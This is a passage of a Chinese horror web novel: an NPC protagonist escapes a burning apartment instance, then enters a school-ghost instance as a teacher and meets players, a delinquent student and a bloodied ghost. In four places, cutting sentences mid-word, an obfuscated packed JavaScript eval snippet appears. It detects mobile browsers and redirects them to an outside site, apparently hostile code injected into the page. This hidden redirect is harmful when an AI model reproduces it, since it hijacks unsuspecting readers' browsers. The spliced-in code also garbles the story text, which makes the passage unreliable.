梨乐一虽然感觉不到疼痛,但是房间内极速升高的温度和滚滚浓烟依旧让她感觉到呼吸不过来,弯腰疯狂咳嗽像是要把整个肺都咳出来一样。 她听到声音,捂着嘴,半眯着眼朝走廊里看去。 火焰已经烧到了仍站在走廊里的林丛身上,但他就像是感觉不到疼痛一般,举起锤子,一下又一下,坚定地往墙上的大洞砸去。 门外的王力要他们死,想用这种法子把他们逼出门外。他们不能就这么坐以待毙,现在唯一的办法就是彻底释放出林棠的鬼魂,让她去和门外的王力斗。 成晖见状也加入了林丛。 相比起屋里的其他地方,走廊的火势是最大的,林丛和成晖的身影眨眼间便被冲天的火焰吞没。 在林丛被火焰吞没的前一秒,梨乐一看见他似乎朝自己这边看来一眼。 梨乐一被浓烟和大火熏得头昏脑涨,眼睛也不停淌着眼泪,周围的人和物都被剧烈晃动的火焰和翻滚的浓烟撕扯至扭曲。 混沌之中,梨乐一想往走廊去,却感觉到有什么东西捂住了自己的口鼻。 “别怕,有我在。” 被火焰炙烤的滚烫身躯贴上了梨乐一的后背,妄图阻挡那些不断朝着梨乐一逼近的火焰。 梨乐一被林互从背后紧紧抱住,她试图挣开林互的手臂,竭尽全力用沙哑的嗓音吼道:“你哥……我去帮……” 林互忍受着火焰炙烤的巨大疼痛,神智模糊,根本听不见也听不懂梨乐一的话,只凭着本能紧紧地抱住她,不让那些火焰灼烧到她。 终于,伴随着窸窸窣窣落下的墙灰和碎石子,林棠完整的尸骨在大火映照中显现出来。 贴在她尸骨上的那张符纸在烈火中顷刻间化为飞灰。 一阵阴冷森寒的风从走廊深处吹来,那阵阴风拂过梨乐一的下一秒,梨乐一身上那种被烈火灼烧的炽热感顿时消失不见,呼吸也顺畅了许多。 大火戛然而止。 用衣服捂着她嘴的那只手随即脱力地垂下,林互的力气似乎已经消耗殆尽,他将整个人的重量都压在了梨乐一的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313287|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,梨乐一承受不住,和他一起倒在了地上。 模糊的视线中,梨乐一看见自己和林互的手臂上并没有烧伤的痕迹,刚才的大火是王力的【怨】制造出的幻觉。 在骤然安静下来的空气中,1004的大门自动打开,发出一声绵长幽怨的“吱呀”声。 紧接着门外传来一声惨叫。 梨乐一意识陷入黑暗的前一秒,她好像看见走廊里有一道身影正跌跌撞撞地朝自己奔来。 梨乐一再次睁开眼,熟悉的电子音在脑海中响起。 【副本:情终, 副本完成度(1-100%):历史平均完成度1.9%,此次副本完成度100%。 副本内受伤害程度(1-10级):头部遭受外力撞击,皮下血管破裂导致血液积聚形成头皮血肿。 历史平均受伤害程度8.9级,此次副本内受伤害程度0.1级。 奖励结算将会在一小时内发送至您的致富宝账号。】 ……伤害评级0.1级是什么鬼? 梨乐一晕晕乎乎地从床上坐起来。 她自成为【怨】的NPC以来,从来没有在副本里待过那么长的时间,现在回到自己的卧室,她有一种恍如隔世的不真实感。 她模模糊糊记得,在她晕倒后等待被传送出副本的间隙,林丛好像跑到她身旁,在她耳边说了些什么。 她想不起来了,但无外乎是一些和自己告别之类的话语,毕竟之后应该是再也见不到了。 梨乐一叹了口气,心中难免生出些怅然若失感,这次副本结束的突然,都还没来得及跟林丛林互以及成晖好好告个别。 但是她没能怅然多久。 因为她的致富宝响起了提示音。 “致富宝到账,十元。” …… !!! 所以她累死累活在副本里待了四天,就赚了十块钱?!以前最少也有五百块呢! 梨乐一叹气,现在的NPC日子不好混啊,要找死,但是不能让别人看出来她在找死,要死的自然,死的有价值,死的有贡献! 她愤愤地起床,去厨房煎了个荷包蛋,做了个简易三明治填饱肚子,而后回到床上睡了一个小时回复了点体力之后,斗志昂扬地从床上坐起来,再次打开了【怨】NPC的系统界面。 点击“接取新的任务”。 这次副本是因为有林互林丛这两个突发因素导致,才会导致她没能成功施展作死大计。 下一个副本总不会再碰到林丛林互了吧,向着死无全尸出发! 【副本:见鬼。 卦象:讼卦。小人加害,百事皆不利,以退为安。 副本地点:学校,副本时限:一个月】 18. 见鬼 梨乐一睁开眼,发现自己正站在一条车水马龙的道路旁,她对面就是一所学校——德才中学。 学校大门右侧的石碑上刻着学校的校训,“厚德立身”。 现在的时间是早上,穿着蓝白校服、背着书包的学生们宛如潮水般从四面八方涌向学校的大门,门口的早餐摊位都排起了长队,马路也因此变得拥堵。 这个副本的卦象是讼卦,给出的提示为小人加害,百事皆不利,以退为安。结合副本的背景是校园,梨乐一推测此次副本中【怨】的执念或许会和校园ba|凌有关。 梨乐一低头看了眼自己的穿着,是她自己的衣服不是校服,她收起思绪,迈步朝马路对面的学校走去。 梨乐一没费多少功夫便找到了进入这次副本的玩家们。 一是其余玩家和她一样都穿着自己的衣服,在一溜的蓝白色里显得格外显眼,二则是和周围有说有笑的学生不同,玩家们神情严肃,说话的同时还会警惕地观察四周的情况。 “你是【怨】的玩家?”一个穿着休闲装、扎着高马尾的女生走到梨乐一身边,确认她的身份。 梨乐一扯着衣角,略有些局促地点了点头:“你好,我叫梨乐一。” 女生微微颔首:“文虹。” 相互简单地介绍了一番之后,梨乐一便站在文虹身边,咬着嘴唇不再开口说话,严谨贯彻着她“副本菜鸟”的人设。 有一名男玩家似乎是第一次进入副本,抓着他身旁的另一名男玩家不停地问:“你们是不是在骗我,我在家里待的好好的怎么会突然出现在这里?” “你们是把我催眠了吗?我现在是不是在做梦?” “这人叫付江,”文虹在梨乐一耳边低声解释道,“是第一次进【怨】的副本。” 梨乐一点点头,面上露出对付江感同身受的表情,实则内心毫无波澜,对这种情形已经习以为常。 第一次被拉进副本里的新人多数都是这个状态,到后面要么是打起精神接受现实,要么就是持续否定,然后因为精神恍惚不小心触发副本的死亡条件死亡。 那种第一次被拉进副本,不吵不闹理智看待问题,迅速分析清楚当下情况的人凤毛麟角,至少在梨乐一当NPC的这段时间还没有遇见过。 很快,被付江疯狂质问的那个人就失去了耐心,甩开他的手:“我已经跟你说的很明白了,不相信就滚,等你真正快死的时候,你就知道自己是不是在做梦了。” 付江失去重心,踉跄几步后跌坐到地上,脸色惨白,嘴里不停地念叨着:“怎么会这样,怎么会这样……” 一个眉清目秀戴着黑框眼镜,穿着卫衣牛仔裤的男生在付江旁边蹲下,拍了拍他的肩膀,语重心长地安慰道:“大兄弟,我第一次进来的时候反应也和你差不多,甚至比你还要惨一点,我当时差点尿裤子了!” 梨乐一:“……” “你知道我为什么没有尿吗?”男生表情神秘,“因为最后我憋住了,哈哈哈,我是不是很厉害?哈哈哈。” 梨乐一:“……” 她默默移开视线。 临近上课时间,校门口没有刚开始时那样拥挤吵闹,街道上空空荡荡,小吃摊位的老板们也开始收拾东西准备离开。 道路上出现的蓝白色身影无一不是在奔跑着的,也因此,道路尽头那道信步而来的修长身影便格外吸引视线一些。 待那道高高瘦瘦的身影走近,梨乐一终于看清楚男生的长相。 副本内的时间和副本外差不多,大概是在春末夏初的阶段,天气渐渐热起来,街上的行人和玩家们都穿的是短袖,唯有男生穿着格格不入的长袖衬衫。 他露在外面的皮肤很白,是那种没有血色的苍白,哪怕阳光落在他脸上,也无法驱散那股从骨子里透出的凉意。 他鸦黑的睫羽散漫地垂着,眉目深邃,鼻挺唇薄,光影勾勒出他脸部流畅利落的线条,也照亮了他过于浅淡的唇色,给人一种一触即碎的清冷破碎感。 他似乎察觉到什么,抬眸朝梨乐一所在的方向看了过来。 四目相对,梨乐一呼吸一滞,她匆忙移开视线,假装无事发生。 男生停在梨乐一的身边,梨乐一这才发现他还背着一个大大的黑色斜挎包,只不过他这个斜挎包扁扁的,里面似乎并没有装什么东西。 “哎,大兄弟。” 那位……憋尿男生大步上前,非常自来熟地想揽住男生的肩膀,被男生一个侧身躲过,憋尿男生也不恼,只好奇地盯着他身上的斜挎包。 “你这个包里装了什么东西?” “没有东西。”男生淡淡地开口,声音干净清澈,带着疏离。 憋尿男生挠了挠脑袋:“我就说嘛,除了手机,我连牛肉干都带不进来,你怎么可能会带进来什么其他的东西,哈哈……” “哎,那边的。” 不远处学校门口,一个上身穿短袖衬衣,下身黑色西裤,腰带上挂着一串钥匙的中年男人冲梨乐一他们挥舞着手里长长的直尺:“赶快过来。” 梨乐一明白,玩家已经到齐了,副本正式开始。 她数了一下人头,进入这个副本的玩家加上她一共有十五个人,人还挺多的。 她跟在众人身后朝校门口走去。 快走到校门口时,一个女学生突然从学校里跌跌撞撞地冲了出来,她没看路和憋尿男生撞了个正着,被撞飞了一米远重重跌坐在地。 憋尿男生见状想去扶她,女生却表情惊恐地拍开他的手,什么也没说,起身匆匆离开。 梨乐一盯着女生离开的背影看了一会,又转头去看学校门口的那个中年男人,中年男人却像是没有看到这个女生一般,只催促他们道:“快点过来签到。” 梨乐一心中越发感到古怪,她再次转头看向那个女学生,那个女学生正准备横穿马路,但就在距离她几米远的地方,一辆小轿车正快速朝她驶来。 “等一下!” 梨乐一大惊,一时间也顾不上那么多了,赶忙朝着那名女学生跑去。 余光里,一道身影如离弦的箭般嗖地一下从她身旁窜过去,在那个女学生即将被轿车撞到的前一秒,猛地将她拉了回来。 轿车擦着她的衣角驶过,司机开窗骂了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320629|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句便离开了。 憋尿男生和女学生双双躺在人行道上,憋尿男生大口大口地喘着气,对身旁的女学生道:“现在的小孩过马路怎么都不看路的?你们老师平时都不教这些吗,哎,要我说,学校除了知识,也该教些其他的……” 梨乐一在憋尿男生的喋喋不休中走上前,想扶起女学生,但女学生仍十分抗拒他人的接触,拍开梨乐一伸向自己的手:“不要碰我!” 说完,她不再看梨乐一和憋尿男生,起身跑走了。 憋尿男生坐起身,对着女学生的背影大喊:“过马路记得走人行道!不走人行道被车撞了是不——赔——钱——的——” …… 梨乐一收回手,转身准备往校门口走。 其他玩家已经走进学校里了,唯有一道清瘦高挑的身影安静地站在不远处的树下,目光淡然地看着她所在的方向。 似乎是在等她。 梨乐一走到男生身前,想问些什么,又怕自己会错意闹个乌龙出来,所以她什么话也没有说,只是冲男生笑笑,而后经过他继续往校门口走。 男生默默跟在她身后。 走进学校大门,梨乐一听见付江正语气焦急地乞求着中年男人:“求求你,让我重新写一个吧,我刚才没注意,我不是故意的……” 梨乐一走过去,发现众人正排队在一个本子上写下自己的名字。 文虹向后来的梨乐一和男生解释道:“我们在这个副本里的角色应该是这所学校新入职的员工,中年男人是这所学校的教导主任,他让我们先在本子上登记签到,然后就去各自的工作岗位上报道。” “原来是这样。”梨乐一点头,目光又疑惑地看向一旁都快哭出来的付江。 文虹叹了口气:“付江是第一个写的,但他精神恍惚没有注意,写完了才发现笔芯颜色是红色的,排在他后面的玩家发现了要求换黑笔,付江反应过来,然后就成现在这样了。” 梨乐一了然。 丹书不祥,在民间传说里,阎王勾画生死簿时用的就是红笔,包括古代死刑犯的名册也是使用红笔勾画,所以用红笔写名字也被视为一种不祥的征兆。① 若换作平时,或许他们会觉得写了写就写了,没什么大不了的。 但现在是在【怨】里,那些话本子里的精怪鬼魂在这里都会成真,也难怪付江反应会这么激烈。 教导主任手里的尺子重重打在付江扯着自己衣服的手上,付江痛得收回手。 “名字写了就不能再改了。”他语气森冷,不容置疑地道。 先到的人此时都已经写完了自己的名字,梨乐一见状上前正准备拿笔,一只修长如玉的手先她一步拿起笔。 是那个男生。 男生在本子上写下清秀俊逸的“鹤溪”两字,他写完之后,转身将笔递给梨乐一。 梨乐一接过笔,指尖无意中擦过男生的手,传递过来的凉意让她的心脏为之一颤。 她顿了顿,提笔在下一行写下自己的名字。 最后则是姗姗来迟的憋尿男生,他大笔一挥,在纸上写下了“钟心闻”三个字。 19. 见鬼 写完名字之后,梨乐一突然感觉裤子包里多出了一个硬硬的东西,她掏出来一看,发现是写有她名字的工作牌。 [梨乐一,语文老师兼高三四班班主任。] 梨乐一惊讶地瞪大眼睛,语文老师?她在这所学校的职位居然是语文老师。 她自有记忆起便是【怨】的NPC,至于那些更早之前的事,她记不得了,也不知道自己上学的时候成绩怎么样。 不过以她的聪明才智,年级前十……应该……轻轻松松……吧? 但成绩再怎么好,现在突然要她来教书,还是教高中语文,对她来说还是有点够呛的。 幸好她不是真的来教书,而是来找死的。 其余人也陆陆续续掏出自己的工作牌,大家一对,才发现他们的工作并不相同,除了老师,还有食堂打饭员,保安,校医,清洁工以及维修人员。 梨乐一悄悄瞄了眼身旁那个叫鹤溪的男生的工作证,上面写着他的岗位是食堂打饭员。 这大杂烩一般的工作岗位让众人一头雾水,更加摸不清这个副本到底是想叫他们干什么了。 教导主任将手里的尺子往桌上一拍:“行了,早自习已经开始了,你们签完到赶紧该干什么干什么去,学校现在正是缺人的时候。” 虽然搞不清楚这个副本到底要他们干什么,但既然副本已经分配给了众人不同的任务,他们也只好先按照既定的剧本走。 “嗨,妹子。” 钟心闻自来熟地走到梨乐一身边:“我刚才看你也奋不顾身地想要去救那个女学生,我就知道你和我是一类人,我们都是心地善良、乐于助人、正直可靠的人。” “认识一下呗,我叫钟心闻。” 钟心闻朝梨乐一伸出手。 梨乐一架不住钟心闻的热情,抬手准备跟他回握:“你好,我叫梨乐一——” 话还没说完,她突然被人往旁边一挤,鹤溪出现在她和钟心闻的中间,偏头看着钟心闻,淡声开口:“鹤溪。” 钟心闻:“呃……你、好?” 鹤溪自然而然地走在二人中间,丝毫没有觉得自己刚才打断二人对话,还强行插|入二人中间是一件很不礼貌的事情。 当然,他也没有要跟钟心闻握手的意思。 钟心闻手举在空中半天,最后收回来挠了挠脑袋,没心没肺地笑道:“哈哈,那我们现在就算认识啦,在副本里我们要相互帮助、相互扶持,找到线索及时分享……” “对了,你们知道我为什么叫钟心闻吗?因为我爸爱看新闻,所以就给我取名叫新闻,但是他又觉得新闻俩字好像有点奇怪,就给我改成了心闻,哈哈哈……” 在钟心闻没有营养的废话中,梨乐一走到了高中部的教学楼下,老师的岗位只有她一个人:“我到啦,拜拜。” 鹤溪点头:“好,中午见。”说完便转身,朝着来时的路走去。 钟心闻的工作岗位是保安,恰巧保安亭就在高中部旁边,他遂也站到梨乐一身边,冲鹤溪挥手再见,挥到一半突然拍了下脑袋:“哎呀,忘了问鹤溪是什么岗位。” 梨乐一:“他是食堂打饭员。” “食堂?”钟心闻揉着自己被打疼的后脑勺,“不对啊,我刚才在来的路上看见食堂了,就在操场旁边。” “哦,”钟心闻恍然大悟,“没想到鹤溪看着这么老成持重,观察力还比不上我呢。” 钟心闻热心肠地冲鹤溪的背影吼道:“鹤溪,别再往里走啦,食堂在——” “哎,他走的方向是对的?” 钟心闻看着鹤溪准确无误地朝着食堂的方向走去,更加丈二和尚摸不着头脑,喃喃道:“他知道食堂在哪?那他还多走这一截路干啥,闲的?” 梨乐一看了眼手机,早自习很快就要结束了,她顾不上跟钟心闻多说些什么,道别之后便快步走进了教学楼,她得去办公室看看今天她都有哪些课。 工作牌的背面写有她办公室的门牌号,梨乐一根据门牌号的指引顺利找到她的办公室403,她办公室旁边便是高三四班的教室。 梨乐一走到自己的办公桌旁,看见了桌上被压在玻璃底下的课程表,有两张。 一张课表纸张泛黄,上面课程排得密密麻麻的,除了要教高三四班,还要教高三十班的语文。 而另一张课表看上去则崭新很多,这张新的应该是梨乐一的课表。她只用教高三四班的语文,今天的课程是上午第一节和下午的第三节,没有晚自习。 幸好副本没有难为她的打算,电脑旁的教案上清楚地记录了她之后一个月每天上课的内容。 她今天的上课内容是讲上一次月考的语文卷子。 上课的预备铃声响起,梨乐一拿起写满答案和注释的卷子,带上小蜜蜂,出门右拐走进高三四班的教室。 “大家好,我叫梨乐一,从今天起便是你们的语文老师兼班主任了。” 讲台下掌声稀稀拉拉的响起。 梨乐一:“好,大家把上次月考的语文卷子拿出来。” 等待同学们拿卷子的间隙,梨乐一余光瞥见讲台右边的至尊VIP席位居然是空的,桌上倒是整整齐齐地摆了一溜书。 梨乐一指着VIP席位问道:“这个人去哪里了?” 坐在第二排中间的男学生吊儿郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328206|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当地笑道:“敛哥吗?这个点他应该还在睡觉呢。” 梨乐一:…… 她看了眼贴在讲台左上角的座次表,男学生口中的敛哥全名叫陈敛。 都高三了还迟到,估计是班里那种最让老师头疼的问题学生。 梨乐一收回手,抖落抖落卷子准备开讲,又看见靠窗那列单人座位第三排的桌子也没有坐人,桌上凌乱地摆着书和卷子。 好好好,这都高三了,一个个的居然还迟到不来上课,这是要造反么。 “那个座位又是谁?” 话问出口,刚才还笑着回答梨乐一的那个男学生表情僵住,与此同时,梨乐一也感觉到班级里轻松的氛围瞬间变得紧绷。 寂静迅速在教室里蔓延开来,连带着温度也下降了不少。 不知过了多久,梨乐一才听到前排学生细若蚊蝇的声音:“死……死了……” 梨乐一在座次表上找到了那个学生的名字,彭思名。根据刚才班上学生们提起彭思名死时的反应,彭思名或许就是这个副本里的【怨】了。 “报告。” 男生懒洋洋的声音从教室门口传来,班上沉重死寂的氛围因为这声报告缓和不少,甚至有男生开口调侃道:“哟,敛哥,稀客啊。” 梨乐一转头,就看见教室门口懒懒地倚着一个高瘦俊朗的男生。他两手插兜,书包在肩头挂着,额发半遮住眉眼,眼睫垂下一副很困的样子,对上梨乐一视线之后他淡定回望,丝毫没有作为学生上课迟到的心虚和愧疚感。 一看就是老油条了,无论老师跟他说什么都是左耳朵进右耳朵出的那种。 梨乐一收回视线看卷子:“进来吧。” 陈敛直起身,跟老大爷饭后溜圈似的,慢悠悠地走进教室。 几秒钟后,低头看卷子的梨乐一感觉到身侧落下一道阴影,与此同时,陈敛的声音再次响起,就在她耳边:“老师,您挡着我路了。” …… 梨乐一瞪了陈敛一眼作为警告,随后身子朝讲台贴了一点。 陈敛从她背后走过。 “大家月考卷子都拿出来了吧,”梨乐一没管讲台旁边一坐下就开始趴在桌上睡觉的陈敛,“我们从第一题开始讲。” 卷子上的答案和分析都写的十分详尽,梨乐一只需要照着念就行了。 原以为一节课就这么平平淡淡地过去,梨乐一照本宣科地念完两篇阅读的答案,按照自己理解中老师的样子,视线严厉地往讲台下一扫,想看看有没有开小差的学生。 却看见靠窗的那个空座位上,不知何时出现了一个浑身是血的男生,正目光怨毒地盯着自己。 20. 见鬼 “第十一题选C——” 梨乐一因为这突如其来的惊吓,音量瞬间飙升。 小蜜蜂的扩音器正好对着趴在桌上睡觉的陈敛,他睡眼惺忪从臂弯里抬起头,揉着耳朵烦躁地看向梨乐一,班上的其他学生们也被梨乐一这一嗓子嚎的,纷纷停下手上乱七八糟的事情,瞪着一双双水灵灵的眼睛看着她。 “……” “这、这种类型的题很重要,高考必考,所以老师刚才特意着重强调了一下,就是希望大家能够牢牢记住。” 梨乐一搬出高中老师的常用语录将刚才的事情敷衍过去,等她调整好心情再次向窗边看去时,那个浑身是血的男学生已经消失了。 班上同学们的表情也并无异常,这说明刚才那个浑身是血的男生只有她看见了。 讲台底下,陈敛盯着梨乐一看了会,而后换了只手当枕头继续睡。 结束了早上的第一节课,梨乐一上午便没事了,她准备在教学楼里转转,看看能不能找到其他的线索。 她推测自己在上课时看到那个浑身是血的男生应该就是彭思名了,自己这是一来就被【怨】给盯上了? 可她还什么都没做啊。 居然还有这等天上掉馅饼的好事?! 梨乐一在楼里转了一圈没什么发现,索性在校园里乱逛起来。 逛到食堂附近的时候,梨乐一在食堂门口看见了一道熟悉的清瘦身影。 鹤溪是食堂打饭员,现在是上课时间,食堂里一个学生也没有,他乐得清闲,从厨房里端了点厨师做菜剩下的边角料,正蹲在食堂门口喂猫。 暖阳给鹤溪清瘦的身型镀了一层金边,再加上他皮肤白,整个人像是在发光,但是这束光却并不刺眼,反而令梨乐一感到舒适、赏心悦目。 梨乐一朝他走过去。 鹤溪喂的应该是生活在学校里的流浪猫,是一只狸花猫,毛色油光锃亮的,它亲昵地蹭了蹭鹤溪的手,然后脑袋便埋进了碗里,乍一看跟个石墩子杵那似的,平时估计没少被人投喂。 不过猫猫虽然胖了点,但流浪猫该有的警惕心它还是有的,梨乐一在距离它还有几米远的时候,它抬起头,两只圆溜溜的眼睛精准无误地锁定梨乐一。 梨乐一乐了,大步走过去蹲在鹤溪身边:“豁,看这大脸盘子,咪咪,来给姐姐rua一rua。” 大脸盘子狸花猫反应很快,在梨乐一摸到它之前,它低头叼起不锈钢碗,扭着肥屁|股,迈着小猫步头也不回地离开了。 看样子是准备找个不被人打扰的地方,一只猫好好享受这顿美味的大餐。 梨乐一:“……” 她这是被一只猫嫌弃了? 一阵风吹过,鹤溪偏头轻轻咳嗽了两声,然后转头看着梨乐一:“它不叫咪咪,它叫小帅。” 梨乐一抬眸对上鹤溪的视线,发现鹤溪表情认真不像是在开玩笑,那双黝黑深邃的瞳孔看着她时异常平静,但又莫名有种要把她整个人吸进去一般无法抗拒的引力。 梨乐一移开视线,伸手拨弄脚边的一株小草:“没想到你才来就跟它建立了深刻的革命友谊,还给它取了名字,行吧,下次见到它,我会叫它小帅的。” 鹤溪淡淡地应了一声,片刻后,又问:“你上午没课了?” 梨乐一点头,随即又想起什么,猛地一下直起身:“对了,你早上在食堂有遇见什么诡异的事情吗?比如说,看见一个浑身是血的男生盯着你看。” 鹤溪摇头:“没有,你看见了?” “嗯,他坐在窗边盯着我看,但很短,只有几秒钟。” 或许是鹤溪性格沉稳,从进入副本到现在也没有表露出任何害怕或者恐惧的情绪,梨乐一莫名很信任他,将她在第一节课上得到的信息竹筒倒豆子似的通通告诉了鹤溪。 “我猜,那个浑身是血的男生应该就是彭思名,也就是这个副本里的【怨】。” 鹤溪若有所思:“的确,不过彭思名的【怨】现在对你应该还没有什么恶意。” 梨乐一撇撇嘴,面上对鹤溪的话不置可否,实则在心里悄悄吐槽道,彭思名当时看她的那个眼神可不像是没有恶意的样子。 不过她要的就是有恶意。 恶意越多越好! 中午吃饭的时候,所有玩家终于得空聚在食堂里,而闲了一上午的食堂打饭员鹤溪、付江还有文虹三人则变得忙碌起来。 梨乐一询问众人上午有没有碰到奇怪的事情,只有工作岗位是校医的两人回复了她,他们上午在校医务室的时候,听见了女孩的哭声。 “只听见了哭声吗?”钟心闻急吼吼地追问道,“有看见她长什么样子吗?长头发还是短头发,高还是矮?” 校医之一的方华明摇头:“没看见,只听见了哭声。” “当时我跟罗元松正在讨论这个副本到底想让我们做什么,就听见身后突然传来一阵哭声,我回头就看见有一个床位的床帘不知道什么时候被拉起来了,那阵哭声就是从床帘里传出来的。” 罗元松面色苍白地接过方华明的话:“但我是对着门口坐的,我没看见有人进来,也没看见床帘是什么时候被拉起来的。” “听到哭声后我们没敢在校医务室里多待,在门口蹲了一阵,直到哭声消失才回去的。” 梨乐一抿了抿唇,疑惑地开口:“确定是女生的哭声吗?有没有可能是男生的哭声?” 方华明二人的遭遇和她在教室里的遭遇对不上,她可以确定自己在教室里看见的【怨】是男生。 钟心闻闻言也附和道:“对哦,你们没看见人……鬼影,但是梨乐一她可是跟【怨】对视了,她说她看到的是个男生。” 方华明仔细回忆了上午的经历,表情严肃地摇头:“我确定那是女生的哭声,因为那声音很细,和男生的明显不一样。” 与此同时,距离众人不远的打饭窗口处。 已经放学半个多小时了,之前被挤得水泄不通的窗口现下只偶尔来一两个学生打饭,鹤溪三人总算有能喘口气的间隙。 付江也顾不上地上又脏又油,一屁股坐在地上:“你们说的那个什么怨,到底是什么,副本任务又是什么?我我我真的不想干了,我可以走吗,在这里待着实在是太煎熬了……” 文虹沉默不语,因为她在想食堂打饭员这份工作会遇到什么危险,又和副本里的【怨】会有什么关系。 鹤溪则是默默盯着不远处梨乐一的背影,眉头紧锁。 “你好……”一道虚弱颤抖的声音响起,紧接着,窗口外慢慢伸进来一只纤细灰白的手臂。 “我要一份番茄蛋汤。” 女生的上半身被窗口上贴的大字挡住,鹤溪无法看见她的脸,视线落在那只手臂上。 手臂的主人明显是个女生,而且她很瘦,手腕处凸起的骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329038|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头随着她伸手的动作划着薄薄的皮肤,仿佛下一秒就要刺破皮肤。 原本闷热的窗口随着女生的出现,骤然变得跟冰窟似的。 鹤溪盯着这只手看了会,舀了一碗番茄蛋汤放上去。 灰白的五指缓慢地收缩,握紧手里的碗,鹤溪这时才看清,她五根手指的指甲缝里都是已经干涸的血迹。 地上坐着的付江后知后觉地看见了这只手,从他的角度,只要微微一偏头便可以看见女生的脸。 他不知道看见了什么,瞳孔骤缩,抬手指着女生,嘴唇颤抖说不出半个字。 那只端着碗的手慢慢缩回窗外。 鹤溪立刻弯腰朝窗外看,窗外空无一人。 付江在女生消失不见后,终于找回自己的声音:“她、她、她没有脸……” - 食堂里没有卫生间,人有三急,梨乐一只能跑去距离食堂不远的办公楼。 解决完急事之后,她甩着手上的水悠闲地往回走,大家都趁着午休时间聚在食堂讨论信息,她虽然对大家讨论的话题不感兴趣,但是在“死”之前,怎么着也得装一下,不能让人看穿她的身份。 学生们吃完午饭大多都回教室午休了,林荫道上没什么人,十分安静。 “……把钱交出来……” “……哥,你看错了……我没有……” “交出来……” 走着走着,一阵模糊的对话声飘进梨乐一的耳朵里,对话内容梨乐一越听越不对劲,她循着声音找到某棵树后,就看见陈敛正把一个身材矮小的男生堵在角落,单手插兜,另一只手掌心向上摊在他面前。 男生低着头,从兜里掏出一把钱放在陈敛手里。 “陈敛,你干什么呢!”梨乐一厉声喝到,陈敛听到声音转头看她,男生则是趁此机会一溜烟跑走了。 陈敛正准备把钱揣到裤兜里,梨乐一几步走到他跟前,不轻不重地拍了下他的手臂:“把钱交出来。” 陈敛没动。 梨乐一狠狠瞪了他一眼:“欺负同学是不对的,管同学要钱更不对,把钱给我。” 陈敛低头看着梨乐一,嘴角勾起抹意味不明的笑,片刻后,他将手里的钱交给了梨乐一。 梨乐一点了点数,一共是五十六块钱。 “那个同学是哪个班的?你跟我一起去找他,向他道歉。” 陈敛撇撇嘴:“不知道。” “不知道?”梨乐一一听更来气了,“你不知道人家是几班的就抢人家的钱?谁教你的?” 陈敛微微眯起眼,薄唇轻启正欲开口。 “喵~” 一声黏糊糊的猫叫冷不丁插|入二人之间剑拔弩张的氛围。 梨乐一低头,就看见一辆狸花猫正来回地蹭着陈敛的小腿,那一脸谄媚的样子完全看不出早上叼着碗离开的高冷模样。 “小帅?你怎么在这里?” 陈敛嗤笑,毫不留情地讥讽道:“这是你给它取的名字?真土。” 梨乐一:“不是我——不对,我们不是在说你欺负同学的事情吗,不准故意扯偏话题。” 陈敛笑的意味深长:“老师,与其关心我,不如多关心关心你自己。” 梨乐一莫名其妙:“你什么意思?” 陈敛却不再多说,转身大步离开。 小帅扭着肥屁|股,屁颠屁颠地跟在他身后也走了。 21. 见鬼 食堂的长桌边,鹤溪三人终于结束了打饭的工作与大家汇合。 “所以——” 文虹一边吃饭一边分析着刚刚得到的信息:“现在所有撞鬼的人里,除了梨乐一在教室看到的是男生,其余人遇见的都是女生?” 她奇怪道:“这是怎么回事?” “还能是怎么回事,”作为校医之一的罗元松看了梨乐一一眼,表情耐人寻味,“在副本里与众不同的人到最后的下场,你们又不是不知道。” 这话几乎约等于指名道姓地说,梨乐一被这个副本里的【怨】盯上了,她会是第一个死的人。 梨乐一没有忘记她刚进入这个副本时,给自己立的人设是没经历过多少次副本的小白。 她见大家大多都用同情的目光看着自己,咬着嘴唇,整个人迅速进入状态,开始瑟瑟发抖:“我……” “不一定。” 